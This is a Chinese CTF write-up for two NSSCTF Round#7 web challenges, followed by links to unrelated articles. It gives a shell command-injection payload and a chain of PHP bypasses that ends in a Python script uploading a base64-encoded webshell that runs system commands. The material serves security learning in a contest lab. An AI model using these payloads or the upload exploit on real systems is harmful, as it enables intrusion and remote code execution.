NSSCTF Round#7 Team ez_rce和0o0讲解

news2024/11/17 12:49:48

强烈建议NSSCTF延长时间,大过年的逛亲戚回来就剩两个小时了。。。。

ez_rce

<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?>

刚看到差点被这个被这个吓到,还以为第一题就是java安全,仔细一看就是运行了一个jar文件,然后我们可以自定义action和data的值,这里就可以用到||这个了,||旁边两个都可以执行的,最后闭合一下单引号就可以了。

post传:action=||&data='cat /flag'

0o0

这里没有发现什么有用的东西,我们去扫一扫目录看看,然后我们就发现了,一个关键的文件,.D

 

//我们直接使用wget下载过来
wget http://43.143.7.97:28537/.DS_Store

vim -r尝试恢复一下,但是没有成功,接下来就直接看看里面的内容,有没有什么信息。

 

这里我们看到了一个文件,我们尝试访问一下。

//Ns_SCtF.php
<?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
    if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
        if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
            if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
                    $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
                    if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {
                            $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";
                        } else {
                            die("NoO0oO0oO0!");
                        }
                    } else {
                        die("N0o0o0oO0o!");
                    }
                } else {
                    die("NoOo00O0o0!");
                }
            } else {
                die("Noo0oO0oOo!");
            }
        } else {
            die("NO0o0oO0oO!");
        }
    } else {
        die("No0o0o000O!");
    }
} else {
    die("NO0o0o0o0o!");
} NO0o0o0o0o!

 我们拆开来一个一个分析。

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) 

这里我们可以通过数组绕过

payload:?NSSCTF[]=1&NsSCTF[]=2

if (!is_numeric($NsScTF) && in_array($NsScTF, array(1)))

这里is_numeric是检测我们传入的东西是不是另一个数字或者一个数字字符串,因为有!,所以我们传入的东西不能是数字,但是后面in_array是查询我们传入的值有没有在数组中,他的数组中只有一个1,所以我们需要传入一个1

这里我们可以使用%00截断

payload: &NsScTF=1%00

if (file_get_contents($NsScTf) === "Welcome to Round7!!!")
file_get_contents是可以读取文件内容的,这里我们可以利用data伪协议

 payload:&NsScTf=data://text/plain,Welcome to Round7!!!

if (isset($_GET['nss_ctfer.vip']))

这里有特殊字符,_这个十分重要,我们假如按正常的参数输入,他是不会接收的,我们要使用[代替_。

payload:&nss[ctfer.vip=true

if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514)

这里不能等于114514,但是经过intval函数要等于114514,这里base参数设置的就是0他会根据我们传入的值判断要转换的整数。

这里我们可以通过科学计数法绕过

payload:&NSScTf=114514e1

$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7")
这里还是is_numeric函数,分析下来nSScTF只要传递一个数字就可以了,然后就是nSscTF其实就是直接传NSSRound7就可以了

payload:&nSScTF=1&nSscTF=NSSRound7

//完整
Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome to Round7!!!&nss[ctfer.vip=true&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7
if (isset($_POST['submit'])) {
   $file_name = urldecode($_FILES['file']['name']);
   $path = $_FILES['file']['tmp_name'];
   if(strpos($file_name, ".png") == false){
       die("NoO0P00oO0! Png! pNg! pnG!");
   }
   $content = file_get_contents($path);
   $real_content = '<?php die("Round7 do you like");'. $content . '?>';
   $real_name = fopen($file_name, "w");
   fwrite($real_name, $real_content);
   fclose($real_name);
   echo "OoO0o0hhh.";
} else {
   die("NoO0oO0oO0!");

这里分析一下我们先post给subimt随便输入一个值就可以了,然后就是他会进入判断中,然后就是通过file参数来文件上传,这里还会进行一次url解密,然后他还会生成一个临时文件,然后就是strpos函数,让文件名中必须有.png,然后就会读取临时文件赋值给content,然后和die组成一个新的php代码,然后在当前目录中生成一个和我们上传的文件,一样名字的文件,然后将那一串代码写进去。

关于strpos哪里我们可以使用1.png.php来让文件进行php操作。

然后我们就需要绕过die函数,这里和绕过死亡exit很像,这里给大家探姬写的文章,感觉写的很厉害。

tj的文章

这里的意思很简单,我们把一串base64写入那里,然后使用伪协议将他进行一次解码,从而使die没了,当然不止可以使用base64还有很多方法,这里还可以参考这里死亡exit

//<?php system('echo 1');?> base64编码
PD9waHAgc3lzdGVtKCdlY2hvIDEnKTs/Pg==

//我们将上面那一串当做文件内容上传,这时候生成的文件的内容
//注意这里我们要补3个字母
<?php die("Round7 do you like");aaaPD9waHAgc3lzdGVtKCdlY2hvIDEnKTs/Pg==?>

这里解码我们发现前面就成了乱码,这里就可以解析我们上传的内容了。

 但是怎么才能让他解码,这里我们可以使用php://filter/convert.base64-decode/resource=1.png.php,记得上面有一次url解码,所以我们要进行加密一次

import requests
from base64 import b64encode
import re

def get_flag(URL):
    url = f"{URL}/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=true&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7"
    data = {'submit':1}

    payload = str(b64encode(b"<?php system('cat /home/f1ag');?>")) #修改为自己想要执行的命令
    payload = re.findall(r"b'(.*?)'",payload)[0]

    file1 = {'file': ('1.png.php', f"aaa{payload}")}
    file2 = {'file': ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%2e%70%6e%67%2e%70%68%70', f"aaa{payload}")}

    requests.post(url,data=data,files=file1)
    requests.post(url,files=file2,data=data)
    nssctf_text3 = requests.post(f'{URL}/1.png.php').text
    print(nssctf_text3)

if __name__ == "__main__":
    get_flag("http://43.143.7.127:28479")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/184368.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL8中jdbc的url设置

JDBC spring.datasource.urljdbc:mysql://${MYSQL_HOST:localhost}:3306/xxxx?sslModeREQUIRED&characterEncodingUTF-8&connectionTimeZoneGMT%2B8&forceConnectionTimeZoneToSessiontruesslMode:设置为REQUIRED表示必须启用ssl加密传输&#xff1b;characterEn…

svn客户端add无法添加上子文件夹及其子文件——解决办法

1、问题描述 svn客户端add文件夹后&#xff0c;无法添加上子文件夹及其子文件&#xff0c;需要先add最外层文件夹&#xff0c;再逐层add子文件夹&#xff0c;最后add最里层子文件夹中的文件&#xff0c;很影响add速度啊。现象如下图所示&#xff1a; 正常情况下&#xff0c;add…

公派访问学者申请优势有哪些?

人的一生&#xff0c;若从职业生涯论&#xff0c;无非为官、为学、为商三条路。为官者&#xff0c;出国访学一年半载&#xff0c;对仕途并无太大作用&#xff0c;并且在此期间有可能丧失国内提拔的大好机会;为学者&#xff0c;公派访问学者是对学术水平的认可&#xff0c;并且对…

vue.js 实现导入json解析成动态el-table树表格(接口文档功能)

一、需求描述&#xff1a;前段时间接到一个需求是做一个类似接口文档的显示功能&#xff0c;将一段json数据贴到里面就可以自动解析出json数据的每个字段的类型和层级关系&#xff0c;用element组件的树表格的形式展示&#xff0c;并且可以手动新增、修改和删除某个数据字段。二…

Vue路由和路由器简介

前言 路由(route)是vue中非常重要的技术&#xff0c;几乎每一个用vue所写的项目都会用到路由&#xff0c;它是一个vue的插件库&#xff0c;专门实现SPA应用 路由(route)的简介 说到路由&#xff0c;大多数人会想到路由器(router),可以这么说&#xff0c;路由器上的每一个口都…

Python类变量和实例变量

类变量&#xff08;类属性&#xff09;类变量指的是在类中&#xff0c;但在各个类方法外定义的变量。举个例子&#xff1a;class CLanguage : # 下面定义了2个类变量name "CSDN社区"add "http://csdn.net" # 下面定义了一个say实例方法 defsay(self, conte…

【Linux】进程信号的产生与捕捉、核心转储

目录 一、信号的引入 二、信号捕捉 三、核心转储 四、系统调用发送信号 五、软件条件产生信号 六、硬件异常产生信号 一、信号的引入 Linux信号本质是一种通知机制&#xff0c;用户 or 操作系统通过发送一定的信号&#xff0c;通知进程&#xff0c;某些事件已经发生&…

JavaWeb-MyBatis | Mapper代理开发及案例

本专栏主要是记录学习完JavaSE后学习JavaWeb部分的一些知识点总结以及遇到的一些问题等&#xff0c;如果刚开始学习Java的小伙伴可以点击下方连接查看专栏 本专栏地址&#xff1a;&#x1f525;JDBC Java入门篇&#xff1a; &#x1f525;Java基础学习篇 Java进阶学习篇&#x…

【5G NTN】5G NTN(非地面组网)介绍

博主未授权任何人或组织机构转载博主任何原创文章&#xff0c;感谢各位对原创的支持&#xff01; 博主链接 本人就职于国际知名终端厂商&#xff0c;负责modem芯片研发。 在5G早期负责终端数据业务层、核心网相关的开发工作&#xff0c;目前牵头6G算力网络技术标准研究。 博客…

DTD语法详细介绍

在编写XML文档时&#xff0c;需要掌握XML语法。同理&#xff0c;在编写DTD文档时&#xff0c;也需要遵循一定的语法。DTD的结构一般由元素类型定义、属性定义、实体定义、记号(notation)定义等构成&#xff0c;一个典型的文档类型定义会把将来要创建的XML文档的元素结构、属性类…

LeetCode Hot100 ---- 双指针算法专题

167, 88, 142, 76双指针双指针法&#xff0c;有时也叫快慢指针&#xff0c;在数组里是用两个整型值代表下标&#xff0c;在链表里是两个指针&#xff0c;一般能实现O(n)的时间解决问题&#xff0c;两个指针的位置一般在第一个元素和第二个元素或者第一个元素和最后一个元素&…

【Leetcode每日一题】844. 比较含退格的字符串|重构字符串/双指针

博主简介&#xff1a;努力学习的预备程序媛一枚~博主主页&#xff1a; 是瑶瑶子啦所属专栏: LeetCode每日一题–进击大厂 前言&#xff1a; 昨天的【Leetcode每日一题】27. 原地移除元素|神级理解双指针一文中&#xff0c;生动形象的为大家讲解如何理解双指针&#xff0c;受到…

《收获,不止Oracle》表的连接学以致用

6.2 三大类型 6.2.1 连接类型 嵌套循环 排序合并及散列连接 第一种方式就是数据库表连接中的嵌套循环连接&#xff08;Nested Loops Join&#xff09;&#xff0c;而第二种方式就是表连接中的排序合并连接&#xff08;Merge Sort Join&#xff09;或者散列连接&#xff08;…

【SpringCloud】Gateway服务网关的基本使用

一、初识Gateway服务网关为什么需要网关&#xff1f;在微服务中&#xff0c;各个模块之间的调用&#xff0c;也可以称其为远程调用&#xff01;但是&#xff0c;如果是外部&#xff08;用户&#xff09;对微服务进行访问时&#xff0c;发的请求能不加处理的直接访问微服务吗&am…

使用Client Java构建Exporter程序

一、client_java client_java是Prometheus针对JVM类开发语言的client library库&#xff0c;我们可以直接基于client_java用户可以快速实现独立运行的Exporter程序&#xff0c;也可以在我们的项目源码中集成client_java以支持Prometheus。注意&#xff1a;Prometheus 提供的cl…

WordPress默认数据库中的12个数据表

WordPress 安装的时候数据库会有 12 张默认的数据表&#xff0c;每张表的数据都包含了 WordPress 不同的功能。看看这些表的结构&#xff0c;你能很容易的了解网站不同的部分都是存在哪里的。目前&#xff0c;默认的 WordPress 安装会创建如下12个数据表。表名描述wp_users您的…

大数据在5G应用场景下有哪些示范项目?

近期&#xff0c;贵州省2022年5G应用场景示范观摩会在贵阳召开&#xff0c;此次观摩会由贵州省大数据发展管理局、贵州省通信管理局主办。数据宝“基于5G技术的交通国有大数据治理多元应用”获得贵州省5G应用场景示范项目&#xff08;五星&#xff09;称号。 据悉&#xff0c;…

二叉树(二)

前言本章我们继续了解二叉树。上文我们对树和二叉树有了简单的了解&#xff0c;详见二叉树&#xff08;一&#xff09;这里我要解释一下为什么我们不对树进行增删查改呢&#xff1f;答案是&#xff1a;没有意义。我们更应该把有限的精力用作有意的地方&#xff0c;那么我们今天…

TLS协议。

IPSec通过安全关联实现IP分组安全关联两端之间的安全传输过程&#xff0c;TLS通过建立安全连接实现数据在两个应用进程之间的安全传输过程。TLS建立安全连接时&#xff0c;实现安全连接两端应用进程之间的双向身份鉴别过程&#xff0c;保证经过安全连接传输的数据的保密性和完整…

【GPLT 二阶题目集】L2-017 人以群分

社交网络中我们给每个人定义了一个“活跃度”&#xff0c;现希望根据这个指标把人群分为两大类&#xff0c;即外向型&#xff08;outgoing&#xff0c;即活跃度高的&#xff09;和内向型&#xff08;introverted&#xff0c;即活跃度低的&#xff09;。要求两类人群的规模尽可能…